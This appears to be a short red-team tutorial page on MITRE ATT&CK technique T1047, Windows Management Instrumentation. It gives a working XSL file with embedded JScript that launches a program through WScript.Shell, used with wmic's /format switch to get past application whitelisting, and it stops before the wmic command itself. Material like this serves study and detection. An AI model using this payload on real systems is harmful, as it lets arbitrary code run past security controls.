MITRE ATT&CK™ Windows Management Instrumentation - Technique T1047
Theory
Windows Management Instrumentation (WMI) provides a standardized way for querying and managing various elements of a Windows operating system. It allow administrators to perform standard management tasks that attackers can abuse to perform code execution.
We can use WMI to execute binary, commands, msi, services, scheduled tasks or XSL file that contain javascript payload with WMIC.
Practice
Execute a local binary or a command using wmic.exe
Another application whitelist bypassing technique discovered by Casey @subTee, similar to squiblydoo
Define the XSL file containing the jscript payload:
#evil.xsl<?xml version='1.0'?><stylesheetxmlns="http://www.w3.org/1999/XSL/Transform"xmlns:ms="urn:schemas-microsoft-com:xslt"xmlns:user="placeholder"version="1.0"><output method="text"/><ms:scriptimplements-prefix="user"language="JScript"><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("calc"); ]]></ms:script></stylesheet>
Invoke wmic command and specify /format pointing to the evil.xsl: